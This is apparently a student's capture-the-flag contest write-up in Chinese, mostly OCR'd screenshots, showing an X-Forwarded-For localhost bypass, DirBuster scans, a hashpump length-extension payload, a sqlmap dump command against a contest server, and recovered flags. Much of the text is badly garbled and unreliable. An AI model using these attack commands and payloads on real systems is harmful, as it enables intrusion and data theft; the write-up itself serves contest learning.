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LOCALHOST

FERFTEE localhost access only!! HE:FFModify Headers E#: /il I X-Forwarded-For: 127.0.0.1 EJH]
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flag: 6ctf{666666}

warmup-web
HHARE—-ALENKE, BEEERA, Bk
RKIL

e VL e =

Connection EKeep-Alive
Content-Length 14
Content-Type text/html: charset=UTF-§
Date Sat, 24 Dec 2016 11:05:58 GMT
Fl4g /NOTHERE
Keep-Alive timeout=3, max=100
Server Apache/2.4.18 (Ubuntu)
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FIFMT, 3R Try to find the web directory BERFEHHF
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OWASP DirBuster 1.0-RC1 - Web Application Brute Forcing AL LU
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@ Scan Information ~ Results - List View: Dirs: 64 Files: 95 \l Results - Tree Vle""\\-& Errors: 42\

Type | Found | Response | Size
File Hitadlindex.php 200 171 |-
Dir Hicansfsmall/// 403 4747
Dir ficans/tismall// 403 475
File Hliconsismall/.php 403 476
File Hicons/small//.php 403 477
Dir ficans/tiismall/ 403 475
File fwitifeannect.php 200 147
File Ml cannect.php 200 147
File Mt feannect.php 200 147
File Hadifeannect.php 200 147




File Hisdfeannect.php 200 147

File M index.php 200 179
Dir it 200 171
File Hxdiloginphp 200 ??
Dir i 200 171w
Current speed: 0 requests/sec (Select and right click far mare options)

Average speed: (T) 188, (C) 0 requests/sec

Parse Queue Size: 0 Current number of running threads: 100
Total Requests: 677652/18420481 100 [ change |
Tirme To Finish: ~

EEDTEN - [EEET | Report
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OWASP DirBuster 1.0-RC1 - Web Application Brute Forcing — L O L ¥

File Options About Help
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(@ 5can Information  Results - List View: Dirs: 3 Files: & \\ Results - Tree\-'lew\& Errors: 15 \

Type | Found | Response | Size
Dir ! 200 177
File findex.php 200 179
Dir feons! 403 466
Dir fd 200 171
File fefindex.php 200 171
File fxflogin.php 200 778
File fufregister.php 200 767
Dir ficans/small/ 403 472
File /efeannect.php 200 147
Current speed: 0 requests/sec (Select and right click for mare options)

Average speed: (T) 148, (C) 0 requests/sec

Parse Queue Size: 0 Current number of running threads: 50

Total Requests: 80091/1764385 50 | | Change |

Tirne To Finish: ~

BRI ¢ [EEETE [ ElReport
Program paused! ficons/ 2410/
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RuntimeError: maximum recursion depth exceeded in cmp
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import sys
sys.setrecursionlimit(1000000) #faix B #% & v— & /i
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B3flag: flag{wiener_attack_attack_you}
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<!-- index.txt -->
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—FBHERREAHY BYE, FHhashpumptiigEi#E

s 968c31570a2a3afal76112687ecca974 -d admin -k 26 -a admin
4d6cB6CHEE

admin\ x80\ x00\ x00\ x00N x00\ x0C 00\ x00N 00\ 00\ x00N\ x00\ x00\ x00N x00\ x00\ x00\ x00\ x00\ x00\ x00\ x00\
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Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex

POST /index.php HTTP/1.1 L+ HTTP/1.1 200 OK ]

Host: 45.32.58. 123:8888 " Server: nginx r

Upgrade—Insecure—Requests: 1 Date: Sat, 24 Dec 2016 035:53:02 GHT

User—hgent: Mozilla/5.0 (Windows NT 10.0; Win64, z84) AppleWebKit/537.36 Content-Type: text/html

(KHTHL, like Gecko) Chrome/54.0.2840.87 Safari/537.36 Comnectien: close

Accept: Vary: Accept-Encoding

text/htnl, application/shtnl+zul, application/xnl;g=0. 9, image/webp, #/*;q=0. 8 ¥-Powered-By: PHP/5.5.25

Accept—Encoding: gzip, deflate, sdch Content-Length: 78

Accept-Language: zh—Cll, zh;q=0.8

Cookie:sanple—hash=968c31570a2a3afa0T611268Teccad74; albert=4déc86cB88f ThTecalc

ddbdd5c470e0 Congratulations! here is vour flag.l

Comnection: close The flag is 6ldctf {Hash_s0_cool_have fun}

Content-Type: application/z-www—forn—urlencoded

Content-Length: 133

usernamne=admnin&password=adnin%§0%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00

%00%00%00%00%00%00%00%00%E8%00%00%00%00%00%00%00adnin
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XHARMEPOSTR I R R, RIUKTLIRE LK Zcookie# L BN Go Away Bl BHHE R EMIEIER, FRREERNEIC
E Content-Type: application/x-www-form-urlencode
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o FATHIE md5($secret . urldecode($username . $password)) HI{E

o BANHIE ghsh HIE

o RATATAEH 54— md5 EFFH I —A $hsh HIME, f#5 $hsh == md5($SECRET . $_COOKIE["albert"]))

AR @ G -

FE B8 5 £ AT DL A R THNX ANgithub | hash_extender fE#E HISCE :
[(JEverything you need to know about hash length extension attacks](

)
D0ge

RETHTRME—ANE R, —IFRER T EMMEHEMREH 2P TR, JERH T Hint: bftools
5B EHM bftools RATHL, HEME—T, KU A IE R AU R
RIEPAT RIS EREITRESE — B 7/ S

‘lanlan\

GYYWIY3UMZ5UQML6IIYHSLCXMVWEGMDNMUWVI3ZNIAZVEZLS
R G R base32f#1Y

A — B 1S

61dctf{H1~BOy,WelCOme-To-H3Re}

CrackMe

ITHEER, HA—AE
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https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks
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tmpans=779852816
tmp=123456
mod=1000000007

ERRIFHME, WMANRE#1E 7798528161 =n*123456%1000000007 B n>999999
RERHHRIEEBRENE A xEH, REEREGMNEHRKTEEK—4.

XFE T4 TR RT CARIE 25 3 n=654321
x=[1,2,3,4,5,6]
MRJE flag+=n }654323
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sqlmap.py -u http://45.32.58.123:4444/index.php?id=1 --tamper=space2comment --dump --batch
SRAEMBEERM. - .
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admin

VilAl http://45.32.58.123:4444/index.php?id=1
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please post flag === admin’password

RFEHE MG posT B, R FFEBEEE R THILRTN, BB AElag, ERER-EBEFZRZAHKTEE M
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Request

Raw | Params | Headers | Hex

Response

Raw | Headers | Hex H'IMLTRender]

POST /index. php?id=1 HTTP/1.1

Host: 45.32.58.123:4444

Upgrade-Insecure—Requests: 1

User—hgent: Wozilla/5.0 (Vindows NT 10.0; WinG4: =64) AppleWebEit/537.36
(KHTHL, like Geckeo) Chrome/54.0.2840.87 Safari/537.36

Accept:

text/htnl, application/xhtml+xnl, application/xml; g=0. 9, image/webp, */*;q=0. &
Accept—Encoding: gzip, deflate, sdch

Accept—Language: zh-CN, zh;q=0. 8

Cookie: sample—hash=968c31570aZa3afa07611268Teccad74

Content-Type: application/z-www—forn—urlencoded

Comnection: close

Content-Length: 32

flag=Th3_Pas3W0rd_i3_4lbertchang

web6

</head>
<body begcolor="3000000">
<div style=" margin-top:70px;color:#FFF: font-size:23px;
text-align:center” *Hi&nhsp; &nbsp; &nbsp;
<font color="8FF0000" >CTFer</font>
<hr
<font size="3" color="#FFFF0O0">

I3

<font size = "5" color= "#00FF00" >Your Username is

<hr>
please post flag === admin’ password
<hr
multi:)</font>
<hr>»
61detf {HOW_Ful_AbOu3_3He PICTUR3}</font>
<fdive
<for>
<fbr>
<fbr>
<center>
<img sre="1.jpg” style="position:absolute; top:0px;left:0px;
<fcenter>
</body>
</htnl>

: admin

width:100%" />
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oh™ but why it 404
BRI A A, T BT

Not found!

The requested URL was not found on this server.

Error Code: 404
Message: \xb5\xbb\x23\x21\x20\x2d

R RMessagefiE %, BFRMALE, KN

| e

1 <hZ2yError Code: 404</hZ>

2 <h2Message: Wx55\xbhyxENx214\x20%x2d</ hE>
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BE—T, XE—ARTRE KBS
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B, #E512F7H 1 frA8 3 —4Flag, Messagestnl LA
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Message:
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103t ) Flag:

153 5 % flag:

BflagiE b 1633
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flag GET! ! ! ~
61dctf{76148943278949084578568795678969058689746897509848970324873124789123478912374878904473895_boy_?$%"2}

FEEA T




	校赛writeup
	第一届校赛，总的来说对自己所处的名次还是比较满意的，这次还是比较占便宜，做出来几道简单的逆向，要不然一个弱弱的web狗肯定要被吊打，这次的crypto的题比较难，也多，尝试做了几道，后来由于难度上升，也就没怎么看这些题。希望能从各种比赛中学习到真正的知识，毕竟自己还是跟其他人有很大的差距，总要赶上大牛学长的脚步！~
	sign
	flip
	BASE64?
	某神的实验室LOGO
	AES-PIC
	上帝之音
	LOCALHOST
	warmup-misc
	warmup-web
	web2
	warmup-re
	zlmm
	warmip-crypto
	warmup-game
	warmup-rsa
	wn
	android
	web1
	了解哈希长度扩展攻击

	D0ge
	CrackMe
	先分析check1:
	然后看check2
	然后看check3
	check4

	web4
	web6


